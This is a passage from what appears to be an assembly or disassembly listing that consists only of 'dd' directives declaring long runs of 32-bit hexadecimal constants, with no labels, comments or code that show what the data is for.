		dd 0D04E801h, 1C97952h,	950B64F4h, 195CA322h, 1E2D860Ch
		dd 0C811414Fh, 0B8002614h, 27F2771Eh, 2EF9B629h, 1C07907h
		dd 5B813ED6h, 4613E5BEh, 3CF4ED55h, 7F874A1Bh, 34A3161h
		dd 6858C982h, 185C42B4h, 0F3701596h, 9B58C101h,	452836h
		dd 3CC41227h, 3E9F929h,	0FA2D4366h, 4E9302C8h, 0D1F773FDh
		dd 0CD075041h, 33A091E1h, 17F3011Fh, 0F9BDC8E8h, 6D8B4413h
		dd 0F529D881h, 41A0C483h, 22771AE7h, 667A0C17h,	5C066C02h
		dd 0D2466109h, 2DE79F70h, 62F6B303h, 6307B602h,	0EB42C85Ch
		dd 0E1201901h, 0E0C31E33h, 0C803D13Ah, 0ADE9DA21h, 0F820A5Ch
		dd 989C0B6h, 0F8825387h, 0B7849742h, 0B022691Ch, 0FD740139h
		dd 91D24638h, 7E78D51h,	9DF07787h, 95D25966h, 0C3547AA2h
		dd 7D60B807h, 9350CB5h,	72027660h, 98117B84h, 682F52A7h
		dd 0DF8AA23Ah, 50550282h, 0C29E180h, 95A05803h,	620363A1h
		dd 4EAC171h, 1CEA1AF7h,	74626CEBh, 0E7B8400h, 0F2927FE5h
		dd 1E78F10Bh, 7AD7A007h, 2813C93h, 0C3BBF2C6h, 0FEC021D8h
		dd 3016A335h, 0DC50516h, 3EE9C2D1h, 0D860132Ah,	9BB2FDADh
		dd 0EADE2924h, 3839F607h, 0FFC04035h, 0B0230C2Ch, 84E74A0Bh
		dd 0FC931EA8h, 0ACD81718h, 7DF0B805h, 25CF3C5Ch, 117C9942h
		dd 2A604375h, 9371BE2Dh, 4072005Ah, 812E9C32h, 939CED5Ch
		dd 0FAC5B601h, 1FCB1A10h, 0DCFB121Ah, 0E9E88EDBh, 3CE431C9h
		dd 4E4BE3F0h, 67C9F8CCh, 0F6FE7179h, 40A22F71h,	3A9D4360h
		dd 111D0330h, 316601E2h, 0FC1C6910h, 0E809D921h, 0DED25AD7h
		dd 0DCB7F480h, 0F6639A08h, 58B190h, 217039C9h, 0A1904904h
		dd 0C65470E7h, 2151E5E1h, 0E9DE0869h, 37FF1537h, 0E64B7E6Fh
		dd 0F41561BCh, 0A60BA255h, 3D4E86F1h, 0EDC650C1h, 0A24612E2h
		dd 6918072Dh, 0AE12161Dh, 1BED8602h, 0D048E9BEh, 30439CBh
		dd 3266EE16h, 68220269h, 622356E3h, 71CA9EE9h, 33641673h
		dd 0ECC29F44h, 730B9E10h, 0A36BCE1Eh, 5D0B2775h, 0A7C94FC3h
		dd 22C533F8h, 666B965Bh, 87640C83h, 5FD85C20h, 0FAD837E9h
		dd 1E44FB77h, 2C18E20h,	0AF46F381h, 5C74EA97h, 0D46F3C3Fh
		dd 5A6BD69Eh, 0F71D2057h, 5056E9E1h, 1C2F1EF1h,	7B4B032Ch
		dd 781EE387h, 0F753A34Ch, 245BF430h, 516AB5F9h,	7C28DAB2h
		dd 4E03F058h, 5E7F096Ch, 28E984E2h, 1CC8F351h, 0E2A14C2Fh
		dd 0EF810024h, 6D6A1757h, 55950950h, 3B09BB88h,	0CA05F44Dh
		dd 0A3313534h, 7C51A5h,	0EAE9590Ch, 0AA3A5994h,	6812800Eh
		dd 9D8C0F2Ch, 12359063h, 0E3D02944h, 2B34545Eh,	9BACE40h
		dd 4E233D34h, 44503BA9h, 0B193E926h, 7492529Dh,	25801AA0h
		dd 0F1C063F7h, 379EAC0h, 1FB0CA3Eh, 0C2CB1DF2h,	72B04F4h
		dd 589E3312h, 0C2FA1992h, 0DE9DCC58h, 1B746483h, 8680E4D1h
		dd 41BA31FEh, 0B12F540Dh, 4EA556Ah, 21F7EC3h, 79255668h
		dd 607DA6DCh, 1BE95FFAh, 90426740h, 3E260962h, 9B803062h
		dd 66F32934h, 0ECE0C131h, 0F962655Fh, 510D0800h, 25099D29h
		dd 41598301h, 537A054Fh, 0B0311560h, 3F46C1ACh,	0F852E457h
		dd 362E09C3h, 78165317h, 261F9431h, 97C11F04h, 0F37E85ABh
		dd 20654CB1h, 0CF5B5503h, 257C1228h, 2048ED19h,	352DABDFh
		dd 58CB027Bh, 6BA25E03h, 825E5C4h, 1E29C4C0h, 5F2AB353h
		dd 0CB8000E3h, 649E910h, 75226FD3h, 581B4954h, 9F667BA7h
		dd 0EC8D1A95h, 680CC3FEh, 0C7101DC8h, 0B80042F1h, 4F7718F9h
		dd 7F392435h, 40BBEDh, 5AEB066Fh, 29E9D8F7h, 0B9DD694Ch
		dd 0BCE6E7B4h, 0C5A8E4A0h, 37590840h, 6A9FCF01h, 3C87424Ah
		dd 8528EF44h, 802088C8h, 68591CBFh, 3F29EA69h, 0CD93B1B5h
		dd 0A1131335h, 1A8830F8h, 0F9B44E40h, 931430F4h, 0D3598B65h
		dd 7DBC0391h, 0C0C5018Bh, 0D5F603EDh, 0EE80DDC8h, 16F5E6A2h
		dd 2EB888Ah, 0C01BB4D6h, 7D7582C9h, 9DE20325h, 0B02D1F30h
		dd 3031CFCAh, 6E180C44h, 3A09AE76h, 487737E9h, 80756B3Bh
		dd 0E5ED54B9h, 739B2015h, 68236617h, 7912DA5Eh,	32F68D52h
		dd 487F0110h, 6B126034h, 951C0B50h, 73508h, 595EF531h
		dd 0C9B6D5F7h, 82161309h, 0AF4BB3Ah, 0C32805E8h, 58698680h
		dd 0BD0487B2h, 2DF1770Dh, 82C79C2h, 7CEB01D2h, 3821BB1Dh
		dd 2E0910D6h, 0A971E5Eh, 8CCD3F31h, 61305AD3h, 833150Eh
		dd 68CEDCC1h, 99A25264h, 50BC3120h, 0B06A20B8h,	0BC047020h
		dd 3B985041h, 0E18C6B50h, 0EC015F40h, 13CFB05Dh, 45259C0h
		dd 906BE02h, 6BEE0053h,	2574DD14h, 4F94C389h, 48D76CC1h
		dd 663C1337h, 8985B52Eh, 4ACA850Fh, 0FF710262h,	119593Dh
		dd 5294E181h, 0C1D8412Dh, 0F268053Ah, 0E04AE918h, 19A338Bh
		dd 0D182E47Ch, 10D9ACF0h, 0B9681E29h, 0D0DAA3E4h, 1C336797h
		dd 897D76E9h, 56BDF631h, 0DBBFC629h, 14E04598h,	0C99DF01h
		dd 0D6410516h, 8058E220h, 453BFBCDh, 1C28E3EBh,	3B6666D6h
		dd 3B1B6145h, 0F3EACC20h, 1F65300Ch, 99771018h,	4C5F80B5h
		dd 98475242h, 828D0D4h,	0DC16F548h, 42059DFDh, 5003F27h
		dd 0C6A743F6h, 2BBE9214h, 31F7B0C1h, 23F12A96h,	0BCB0CDA5h
		dd 0BEB4EA8Fh, 6C3D296Bh, 0ECD83093h, 5F07E53Bh, 1E5F5A48h
		dd 0DD42D1EDh, 444EE96Fh, 22EE485Dh, 1033B119h,	51BA6466h
		dd 0B878C2F5h, 0F6C6880Ch
		dd 411B14D6h, 0A87F243Bh, 0EC8073C0h, 3E52666Bh, 0B2A0CB2h
		dd 0B40439EDh, 0D01DF238h, 0C78392Ch, 2290E953h, 59EEC639h
		dd 0BB98EEE8h, 81F33598h, 4A7B258Bh, 66645D5Fh,	203DB0F7h
		dd 0E893449Eh, 276F6805h, 694875A3h, 0D6EA005Bh, 31E0EE81h
		dd 681557E8h, 281576C9h, 0DD00FB55h, 0BD0BF614h, 4E91227Ah
		dd 0C0011F6Eh, 9F055D58h, 20581E23h, 440A5E71h,	3C83A75Fh
		dd 2A29F4B4h, 90ED8872h, 0FE890390h, 80DCF6CCh,	908E07A2h
		dd 58E688E3h, 78E9F080h, 2CCD5D4Bh, 367F046Bh, 512D00D3h
		dd 3ED89091h, 0B012C501h, 1E6B56E2h, 0C7C81AFFh, 3067835Ch
		dd 0FF6A9A68h, 660246Ah, 0E5BE36CCh, 0DC545162h, 7A5526ECh
		dd 57524480h, 101D2ABFh, 5A936573h, 0BE18B4B3h,	0D6311B28h
		dd 0E906CABBh, 7255724Dh, 0BA9612F7h, 314EF08Fh, 685EF00Ah
		dd 0E98B9663h, 7276E247h, 6485F29Dh, 9554BEF9h,	0E428BCB2h
		dd 0E1BAFBCh, 8018EBD0h, 8B0BD2F7h, 0E192BC34h,	0E0111DEEh
		dd 3349E974h, 5F24ADh, 0D41B8800h, 0D1D12112h, 0E1841DCAh
		dd 97FC249h, 334161C1h,	0A5680255h, 4170C966h, 0A54B39A9h
		dd 0E0CA266Bh, 0AA29E98Bh, 7CC0BAF0h, 695835DFh, 0F0D16909h
		dd 0EA210700h, 0CB6F2917h, 6FC392E4h, 0D6DFF257h, 18E88351h
		dd 0D093C831h, 809C2A3h, 44748B68h, 0BEB7929Ch,	476C0D6Ah
		dd 556DD89Fh, 0B258DD2Ch, 510F12B0h, 242758CFh,	0C2F7400Ch
		dd 56411E34h, 606EBB31h, 0E9AEB7F4h, 0B202775Bh, 0C658E768h
		dd 4478826Bh, 0FAF42FC0h, 4AB46666h, 2EDAC6EBh,	50543652h
		dd 998814D2h, 0D7018072h, 84528DB6h, 0D1E306FBh, 744E110h
		dd 0C8283AB1h, 0A1A15C95h, 854BB947h, 0D5345FFCh, 433174C0h
		dd 590A280Eh, 84890h, 72946238h, 9E3A962Ah, 163E9A12h
		dd 60F8F1D7h, 0CD5DFE96h, 0B652099Dh, 0EF698002h, 0E05AF528h
		dd 2C5902E8h, 0C3305B89h, 0E986F579h, 9892BA93h, 0D5B4201Ah
		dd 0A55F513Eh, 80DA42F2h, 0AF4CEBC4h, 80295A6Dh, 19F7CE1Fh
		dd 3936973Bh, 0A37C89F6h, 0BA980CC0h, 296A162Bh, 84A10F2h
		dd 80CAE912h, 0FBC38090h, 8CE06C1h, 7FF95BDEh, 32F565h
		dd 0A3B9B613h, 0E4C04BA0h, 0B642A268h, 4879699Bh, 8596E2A2h
		dd 2CB8C252h, 0D9FF16EBh, 3075C403h, 0E2C02133h, 3D1270CCh
		dd 3CD359E9h, 71054000h, 2979A6CFh, 0E058C230h,	3C216453h
		dd 0F7DC0161h, 0F09F0841h, 0D8BBC15Eh, 700A2F14h, 45799F6Eh
		dd 0E5C16F00h, 94E95605h, 0F52EBFF8h, 0CF5A97E9h, 370CEB02h
		dd 5E5F5E6Fh, 0B487129Dh, 0D1A4E89Eh, 1F16DD5Bh, 0ADCA7DA2h
		dd 0EBC085B0h, 0FC048605h, 1A9F3B7Eh, 9855A273h, 0C3E96AB9h
		dd 70ACC2E0h, 682D0106h, 2928EC0Bh, 8C2A0D8h, 89D8E979h
		dd 823FC530h, 2A549D00h, 0BE723048h, 7A084512h,	0FC081352h
		dd 138F2D73h, 99A9D40Bh, 0AF791CABh, 846F3A8Ah,	60C5CD81h
		dd 6F471Fh, 2E390516h, 5D28EB21h, 0A07F944Bh, 0E949A40Bh
		dd 0BDF4A742h, 449065A7h, 3FE001BAh, 50A513C1h,	0E954AA84h
		dd 0FA8C8492h, 7BC9410Eh, 3705A060h, 46020CECh,	7C537F2Dh
		dd 94818F31h, 11A37C07h, 0F31CBCD0h, 8EE90F12h,	0D4823C0h
		dd 0F21600E0h, 1D110506h, 0B8F42F39h, 34D14D04h, 94B8BEE9h
		dd 0A03A215Bh, 695117Dh, 0A60B0910h, 0C3312B17h, 23993271h
		dd 884316Fh, 0F74F005Dh, 0E76B0DFh, 6C8B5664h, 180BCFC0h
		dd 0E916121Bh, 0D5E62E25h, 4222124Fh, 0DD73E9CFh, 266FF2D6h
		dd 0A8F5039h, 687169D2h, 0CAD1DF3h, 0F06A434Ah,	40150D24h
		dd 255FF800h, 23A588Bh,	74EA3548h, 0BA411660h, 68AC005Ah
		dd 0D04E4C92h, 0F698B3C0h, 0FCA152D3h, 48682339h, 8AC15E41h
		dd 60C28E2Ch, 80CB3D99h, 860BCA81h, 46F133Eh, 71BD511Ch
		dd 45427E27h, 0AC071D4Bh, 3A57B93h, 8804406Bh, 0B90053Ch
		dd 4153FAE9h, 38ADAB87h, 34A1E9E8h, 310FB881h, 44077E1Dh
		dd 13CCFAFDh, 5B662C0Dh, 20143F98h, 417FDA98h, 0A132B3Dh
		dd 508465F2h, 8AE6A8B8h, 6C49FCC6h, 98F7C5B5h, 7C082374h
		dd 3FBAD302h, 0DE591572h, 593813BBh, 0F4F28A60h, 4A9839F8h
		dd 8BB66B09h, 2948063Bh, 75C85873h, 202B12B5h, 3E9168A9h
		dd 8F0D2993h, 6FF45EE4h, 0C1D8A609h, 6D6AB86Eh,	7EF6D6Eh
		dd 682B44D9h, 443F260h,	893B9C02h, 0E984DF01h, 9DFE97Dh
		dd 10484568h, 0E11EB0F6h, 0B57088A9h, 0B208003Eh, 96E280B1h
		dd 0A44CC2E6h, 81083C62h, 0DCF6A7CCh, 812818E9h, 0E3645431h
		dd 0FA05005Ah, 5119283Ch, 72D51C7h, 65FC0F41h, 0D013FA39h
		dd 93E6E2C0h, 268E52Ch,	238625C7h, 0F2E94DE9h, 23286E59h
		dd 269103BBh, 5C29337Fh, 356908C2h, 0A4C53C57h,	0EDE9064Fh
		dd 697C170Ah, 2027DA02h, 5AE45F7Ch, 4EC49E27h, 6D5F96FBh
		dd 402CD929h, 2335E937h, 16A20580h, 5A797DBh, 0A5781E19h
		dd 376F6096h, 0B0B801F2h, 8C12CC5Ah, 3A040CA0h,	680A66BAh
		dd 89721432h, 0D50245B7h, 0BA5EF9D0h, 0C3AD6C2h, 0D00FF636h
		dd 8B71B353h, 0BFE610A5h, 3B7D74F9h, 5FBCF829h,	6377058Ch
		dd 4B9B7496h, 25EA2988h, 7DC01A58h, 0A92D6668h,	0F75B0276h
		dd 67BAE9DBh, 50F59DA7h, 89F4D4C8h, 55DE801h, 0FC7A5735h
		dd 2C3AC1E1h, 0D009C953h, 0E23D2120h, 0EC05C618h, 960818BCh
		dd 52B00C4Ch, 6B01FA4Fh, 2A45CC38h, 0F278176Ah,	26E9C422h
		dd 5B2CFEA8h, 0E1E6168Dh, 0B8CB2A57h, 66B9CC4Ah, 9C16D360h
		dd 9573D7E9h, 975F1B46h, 3BF80B34h, 0C4283A3h, 0EF017D96h
		dd 72684CA1h, 3D31D701h, 0F41C0806h, 402D3F52h,	0A172C73Ch
		dd 1E815808h, 5FA638F8h, 840C295Ah, 0DAB327DDh,	6395680Bh
		dd 0A88840F9h, 8F5E040Fh, 0A3301E04h, 0F093E780h, 0DD4C4B5Bh
		dd 2A746E71h, 95F18753h, 318B9409h, 3990A4E9h, 325EDD68h
		dd 31E92198h, 0FA54D02h, 104039B3h, 0BE02B52Ah,	4A8245B4h
		dd 8803D2F6h, 148F17Dh,	8C3CCA0Fh, 30F5296Ch, 5B510414h
		dd 9292BC78h, 18B3B506h, 0BC13C038h, 61AC2D7Fh,	0C176C04Bh
		dd 203C785Ch, 0C556502Eh, 9D320A10h, 5BE34h, 2890EE81h
		dd 294A14C1h, 80D4684h,	0B82932E9h, 50CA1910h, 6414AC26h
		dd 4EB3585Fh, 78E38213h, 643F0184h, 0E558DDA8h,	9C325904h
		dd 15638017h, 4276E479h, 2856E504h, 16AC2A95h, 68DDF7C0h
		dd 57C44322h, 290911FBh, 7E204050h, 615A6BC0h, 269EA71h
		dd 46663Fh, 0FDC3805Ah,	0DBBA77B6h, 51B42D31h, 0D7380E3Eh
		dd 8C63E30Bh, 657B1EA4h, 2A828908h, 0A92D79E4h,	803D133Ch
		dd 5511B84Ch, 1848D43Dh, 0DECB57F6h, 12DFEE81h,	0C03CA534h
		dd 663F645Eh, 1426BDA0h, 216B9112h, 3A010417h, 55414301h
		dd 48E21F74h, 1E65D634h, 0A40712EEh, 0BB59BC93h, 128D169Bh
		dd 0CB71A834h, 0E2336623h, 0C260D75Ah, 34F9F2E2h, 0D28BA830h
		dd 105F4BE4h, 0EF07CA28h, 9B22F138h, 8ED08F7h, 0C66BE905h
		dd 8284D1A2h, 6E1FCDD2h, 0C4E4B637h, 9152B4A0h,	0B5A11C4h
		dd 82BF0F5Ch, 0A060AFB9h, 0CE87D99Dh, 38842768h, 7851CD91h
		dd 1ED1376Bh, 8C00EE35h, 28A10548h, 5EF12721h, 43D9EE09h
		dd 5896694Fh, 70A95CBh,	40481668h, 57FB82Dh, 51385D96h
		dd 0CF338B68h, 0D214406Ch, 0B04A3E20h, 6CAC1F7h, 301A3C3Dh
		dd 7A2C5D3h, 58B994C3h,	0ED583A29h, 82E8F760h, 0B7B932C3h
		dd 800E98FEh, 0F4D9F67Ah, 8B6254A6h, 25C27C89h,	6768EB87h
		dd 0AA4C4DAEh, 5BDA189Fh
		dd 83BD8F50h, 66C1C8BCh, 68E1F705h, 76217398h, 303EF6DAh
		dd 61EA6862h, 9DA834B9h, 0CA21565Fh, 648E055Eh,	0DFA2388Ch
		dd 31508965h, 0D6072D51h, 348B1182h, 550336E7h,	3E230E9h
		dd 284CE3C3h, 31D95F36h, 0EF178FCEh, 46AF852Ch,	0FE3E3782h
		dd 5AAE624Ah, 0C2816CFCh, 418E0FE8h, 122C5621h,	68C83105h
		dd 6942FD67h, 25E0E5CAh, 3A54D3E9h, 0F8019E60h,	20099D5Fh
		dd 0B77B1103h, 14B1944Ah, 9AE7D2E0h, 8BB9B62Dh,	0DBE808BBh
		dd 12B5FD12h, 0E60B7667h, 0DE44E453h, 398504C6h, 835A6905h
		dd 0D7593A7Dh, 2F481225h, 57105091h, 26985406h,	2CC8B63Eh
		dd 30A2751h, 94CBE2B2h,	0A4309603h, 44F0DA85h, 0D06316Ch
		dd 1635AE9h, 5F34BD26h,	0A1B270A5h, 0CB247F96h,	0D428C303h
		dd 130C743Ch, 15B4F27h,	0DE16C54Fh, 2153201Bh, 348943D2h
		dd 0CA2EA261h, 84694CC2h, 51CC6358h, 40E7F254h,	0E248B173h
		dd 30280F89h, 4E6D86CFh, 17C9C53h, 75FECEAh, 0DEF2D86Fh
		dd 1408E13Bh, 3FAED329h, 8ACBD58Eh, 0F7BE5668h,	0E9F79169h
		dd 322B48C9h, 2E563BB7h, 7B15208h, 83E3D14Bh, 0A7251C0Ah
		dd 0AEB148C1h, 216A1D75h, 476FE78Bh, 1820A3A4h,	51585939h
		dd 34196143h, 0F12B9EAh, 0EC0F3408h, 920CC94Ch,	1EEC5697h
		dd 81088654h, 1680086Ch, 324AC5E9h, 984B72F3h, 0B9F90D4h
		dd 20F6D0D1h, 51C5BEDh,	75C64DFDh, 4D1AC689h, 5A34791Ch
		dd 0B5C3A849h, 0B40493F7h, 0AF74CC05h, 0A5258A29h, 91ED8C80h
		dd 0E964A70Eh, 0B915D95Bh, 0CB8193BDh, 5902644Fh, 0E0D8A4A8h
		dd 52515EF0h, 4C62BA01h, 66B90C3Bh, 0C9D40BB7h,	68508731h
		dd 7C4A4B8h, 5C2571B6h,	0E961EDF1h, 437C6DB9h, 39265B8Fh
		dd 0C13C4502h, 30719259h, 294B01ECh, 47266EB1h,	0E50FB08Ah
		dd 4EC98100h, 48EB711Dh, 1AD2F181h, 54A83837h, 8A2734F6h
		dd 0D275A855h, 0A64B42BCh, 428A7483h, 852FD1F1h, 0B27CAE68h
		dd 5F8D5B44h, 125BD9E4h, 9159CE01h, 7D4D1864h, 75450022h
		dd 0C1417910h, 49051DE1h, 5DB60F81h, 6147ACCh, 5387AAC3h
		dd 0CF01B015h, 0D8C8A059h, 1F6C2566h, 0A49046D0h, 0BF27E915h
		dd 3A6838C8h, 0B24A4F6Bh, 0B200E347h, 2E2C059h,	0BCA48FEh
		dd 5E193920h, 0D3E4C731h, 0D849893Ch, 164E8B4Bh, 6B355E96h
		dd 0E0B882E8h, 0B606DA9Ah, 51CE80F8h, 0E4D7606h, 0E6864FF6h
		dd 0FC08D48Dh, 0B7982AEEh, 303BB170h, 85904CEh,	49C35AF1h
		dd 6C699DEh, 0EB2CEEC3h, 28849723h, 3A6CF1F0h, 9968853Dh
		dd 8F4149B1h, 65AFEEC3h, 0DD1A6059h, 54080F3Eh,	0EC902DBh
		dd 0C0572686h, 82F6E75Ah, 1679A990h, 3EB5F182h,	29CD6EA5h
		dd 5CA66804h, 43D431ECh, 251D7C9h, 5E11E942h, 5881774h
		dd 88389E62h, 5402F2D1h, 58B1B14h, 1FD0613Bh, 709103Fh
		dd 0B3505A13h, 1B2C4A81h, 0A21D4BCCh, 2EC248CDh, 0EC8393DBh
		dd 0A8CCFEF9h, 1F30BCC4h, 5866E5h, 704A5EDh, 0E970E828h
		dd 5ADD565Fh, 10DF8B2Eh, 31823FBFh, 0CED936D7h,	0AD0757ACh
		dd 0C1E7D67Bh, 0EB900567h, 12C61FFCh, 95E531Ah,	5CF1F0ADh
		dd 2E896B9h, 3335B12Dh,	0D59F316Ch, 0CA02DAF0h,	57E2D159h
		dd 37D218E3h, 8D0F0244h, 6430FC04h, 35AFF06Ch, 0F0F3169Ah
		dd 0AD69FBA8h, 5857761Ah, 3304ECF6h, 0F021312Fh, 0E29F63EAh
		dd 0D306F8E5h, 15A9D4E0h, 0C717AE4Ah, 0D4A27FCBh, 0BD7EED83h
		dd 0EB11CB1Bh, 840F8020h, 46C55F49h, 830C190Bh,	13D6E701h
		dd 0D7F77DA6h, 17B6297h, 1DE9C378h, 0F5266A3Eh,	0EB42B7ECh
		dd 19AFCE60h, 3FC9C795h, 271A2017h, 0B2F4F4C0h,	0E3257E58h
		dd 29C998BAh, 0C5BE85Fh, 3A8C6850h, 80F7E8D1h, 690BA0Ah
		dd 92D3FA7h, 46E624B0h,	418E6789h, 428558C2h, 3ADEBE40h
		dd 0CA6B8228h, 1085107h, 0B8F4E94Fh, 0ECB550Eh,	213E42Eh
		dd 3AD0688Bh, 9F017E66h, 0E935CB80h, 0D02F36D4h, 37D22D1h
		dd 0B3F0ECE5h, 0EBC13EC7h, 4A7E049Fh, 68C65390h, 0BA5CA354h
		dd 58290609h, 3E205098h, 0D8283461h, 7275AC10h,	5145F191h
		dd 503E3B2h, 62091AC2h,	0B7A07AABh, 0E9135D07h,	16A4DBB5h
		dd 33EF4881h, 0CA6A8B16h, 1AB8D122h, 0CACB73E9h, 7601C0FDh
		dd 22D23C1Eh, 81710CEh,	9C2C4452h, 1FDBA419h, 817C94BEh
		dd 0ADC2DA12h, 0C30EDCA2h, 9434B80h, 0C6A242FCh, 1C52836h
		dd 62F5004Ch, 2985D99Dh, 0FE2DE9EFh, 9B7C44Fh, 2D1B5DA3h
		dd 4BC89C84h, 0E9B8B3CBh, 2426EE2Fh, 0AA04BA48h, 84196E07h
		dd 5D0A080h, 606CE5F9h,	2D50E88Bh, 75905D07h, 65F941F7h
		dd 446CFA29h, 0D36CAEBFh, 2094F5F1h, 9110C15Dh,	27BE02E5h
		dd 713E783Bh, 62BD8097h, 1156631h, 0D15DEE12h, 9A1763A0h
		dd 0D699B701h, 73FF0F2h, 0DF82B5B6h, 50648315h,	0C1F7A225h
		dd 8CD4FD12h, 975CF616h, 65BF5119h, 76A367B1h, 47E92D8Eh
		dd 9070A8E2h, 8459EB27h, 77147B9Bh, 0EDBCD04Bh,	9A2868B3h
		dd 8206CF71h, 4533E443h, 75CB171Ah, 0DDE70F1Dh,	41045870h
		dd 5FBF96D1h, 822A412Dh, 71C65566h, 1C27C620h, 4212A4B8h
		dd 58C3317Ch, 5700D254h, 891BA20Fh, 9FE918DAh, 65EFD509h
		dd 603B1F18h, 25734C0Ch, 61400302h, 3C380ACFh, 75894E3Eh
		dd 0B031D5F4h, 9E05E431h, 450449A1h, 33971CC1h,	0E9F41312h
		dd 28AC13EEh, 0B36A0DE6h, 1092ADDFh, 0B3CC3F7h,	12BECC7h
		dd 0C784D689h, 9D30BA42h, 0EAD05EC5h, 8ED00C1h,	4245BF57h
		dd 84A12F9Ch, 41BE248Bh, 0BE3B8397h, 3D87C93Eh,	995408E9h
		dd 719812AEh, 2D653EBh,	56A2CA28h, 80C502DCh, 0A4C9BFF5h
		dd 16AC68CDh, 5214C209h, 68F49948h, 0D7086244h,	595B0E1Ah
		dd 5C1C1ECh, 0A62E9B03h, 0B85A5E60h, 1396146Fh,	0F158E907h
		dd 0F181EC2Dh, 957D920Fh, 0E63C862Eh, 685E0918h, 677913F2h
		dd 8F522B92h, 0B24A79CAh, 0FB02C9CAh, 0C5C52519h, 8B055B13h
		dd 88440F09h, 0BA00AA56h, 2E683BB4h, 52C94195h,	8DA2BDF9h
		dd 0AFD94894h, 0B20F5620h, 0AFD13018h, 0A06A695Ah, 68412D43h
		dd 32387A50h, 311445EBh, 3E333161h, 4901328Dh, 5BCE8F5Dh
		dd 0D2F5444Dh, 0F940AD78h, 0E69DB5FAh, 0F4C42064h, 855D8998h
		dd 0A68D4FFEh, 0BDB80CA7h, 0B39E2F75h, 76BB896Eh, 0A25A45BAh
		dd 75C09396h, 2C946295h, 9F55833h, 0D7442620h, 484E52F0h
		dd 0DFB61770h, 51DE5C30h, 691C09B5h, 0F5A55546h, 0A8AA23ADh
		dd 77D95403h, 9DDE9AFBh, 0C5EC31Bh, 642CFCBh, 196A4A5Eh
		dd 0EA97BE80h, 0CE1BA403h, 0A8CCAC1Dh, 4085C281h, 103EE9E5h
		dd 417DAE7Fh, 0F0666107h, 5FC12C5Dh, 6A3A5CEBh,	404B5D70h
		dd 0F748883Dh, 9532500Ah, 202CC49Ch, 9BD65C00h,	7CC68332h
		dd 0CB27EF01h, 29C80316h, 0A9E4427Dh, 6C807E74h, 1237A16h
		dd 0B596FAFAh, 0B850A100h, 973D5D83h, 0B793972Ch, 133F0439h
		dd 686B211Eh, 39A979EFh, 2D75A23h, 6409EB04h, 0D7FD7E03h
		dd 0C6251A79h, 0B77CAEADh, 127C3CCAh, 96283EF6h, 0C682FE36h
		dd 0C4A7B155h, 0E9B7DE2h, 392CC5C9h, 6CFA0448h,	0D7A23DC8h
		dd 6DCEBD80h, 21504272h, 0D174F7BFh, 2E08C49h, 0C18097B1h
		dd 0F5E5415Ch, 780BC04h, 3C952387h, 0DE03E3E2h,	836E4CFCh
		dd 2FD9781Ah, 16277F4Ch, 0C150E4F8h, 8C372147h,	0DE26EED9h
		dd 55B1F6BEh, 0B7E188C6h, 0FD20F1C1h, 21F99EFh,	3243416Eh
		dd 4A022D40h, 0E0F28126h, 0C9009h, 3D238216h, 0D3012637h
		dd 4B082055h, 2AECF15Ah
		dd 166AC31h, 624442Ah, 0FC5316A8h, 6D2814E1h, 0F38992B4h
		dd 5F52BD7Ch, 0ADF88B04h, 4D945BECh, 0A1CCB782h, 0AE7BE9CBh
		dd 84735E6Bh, 0F97CE548h, 0ADF01248h, 1DC9F9E4h, 0BC07FA4Ah
		dd 685A1EE1h, 43A0EADCh, 861144BBh, 1C36B59h, 575ABE1h
		dd 8B3EDA31h, 444A2445h, 0E9CDB813h, 7268A9E5h,	0D273B34Fh
		dd 0B7068A96h, 327DC130h, 58A42299h, 6C18F309h,	48CAF42Ch
		dd 1081AEF9h, 246F4342h, 0FEB62BF1h, 7C5310Bh, 0DFA455FBh
		dd 7B886B0h, 4A112737h,	0EA00FB29h, 0E2422F5h, 732B1658h
		dd 18BC5D82h, 5580BFBCh, 0E66B9ABDh, 48F2B001h,	2C004E05h
		dd 812DFA22h, 4A27A4E1h, 0A849E303h, 0C1284618h, 0BC09DF0Ch
		dd 8E248345h, 261FB65h,	41024D0Ch, 5C60537Ah, 0D4B2D0D7h
		dd 0E8A6E42Ch, 805EF189h, 0E2C54E8Ch, 27429F95h, 0E9BE0377h
		dd 682903D0h, 5287C85h,	2EDE1DD1h, 0F952B933h, 886A0DCDh
		dd 0E59D5095h, 528D2888h, 0CD5E1CBDh, 0BD9BFD57h, 8CC6B86Bh
		dd 0C54BF4Eh, 0B95E010Ch, 0E9535F18h, 4C2E784Ah, 0D75AF290h
		dd 0C925001Dh, 0AB240C58h, 0B881C05Bh, 6EB11DD0h, 5C8B0500h
		dd 0E0D17BCCh, 48D828F7h, 547A2DFDh, 888E7471h,	50201C0Eh
		dd 0FB02B41Ch, 0DA44FE02h, 15F2C6Bh, 318268C0h,	8A2ACC3Eh
		dd 1CF43B41h, 554CB562h, 4A8AA680h, 481E1412h, 7BB1A0BCh
		dd 2DAA20B5h, 27751609h, 20E75E39h, 0A0899F07h,	2DA856F4h
		dd 0D5499DEEh, 0A5DF1005h, 0BB139848h, 0EC2FDDC2h, 0E697DE41h
		dd 0CED524F1h, 454241FEh, 0EA3C20FDh, 3B5CD90Ch, 4670C39h
		dd 0E9C0836Eh, 0B141BB94h, 0A9341BE7h, 4799143h, 0DB686681h
		dd 1288F23Ah, 0F8B8D1AEh, 1DC592D2h, 84F376EAh,	0F9A57F8Bh
		dd 0EEE79C55h, 0A0CCC418h, 209059B2h, 810F26BAh, 0C974C9CBh
		dd 1FF8001Dh, 126A8570h, 67B212E9h, 8A99EF6h, 23CCA068h
		dd 0C9071F2Dh, 4F2C0539h, 81ED985Eh, 5D55049Dh,	402F44DCh
		dd 0EDB44E34h, 5711310Fh, 762DC8A0h, 5B40E35h, 774E801h
		dd 5CEE93Bh, 7C9FEEEh, 578006A9h, 0CB5D2B1h, 0AC80BBE6h
		dd 12CB49C0h, 21D9065Bh, 0D8664A7Dh, 9A833CBAh,	720B0901h
		dd 92560E00h, 0DB28ABEh, 179BBAC0h, 24292D8Bh, 971D5AD1h
		dd 79ED27A7h, 0CDB44103h, 5AB5164Dh, 28489802h,	63A90FC8h
		dd 265EFE61h, 48957CC2h, 16F3294Fh, 0B85BDE87h,	556D9604h
		dd 43781A83h, 0C0079B3h, 2BB8489Eh, 9735EDE9h, 48E50746h
		dd 0F14F5DBBh, 653166A3h, 20E2890Fh, 452C85AFh,	8C09F4EFh
		dd 0C238DED5h, 98750767h, 80442289h, 5DF209BEh,	0A195B690h
		dd 75AE10D0h, 563A9B30h, 0CD40BC0Fh, 28454080h,	0EF2FE776h
		dd 0FD6D14C0h, 0A2C3A70h, 0A997E9FBh, 4B58925Bh, 25075731h
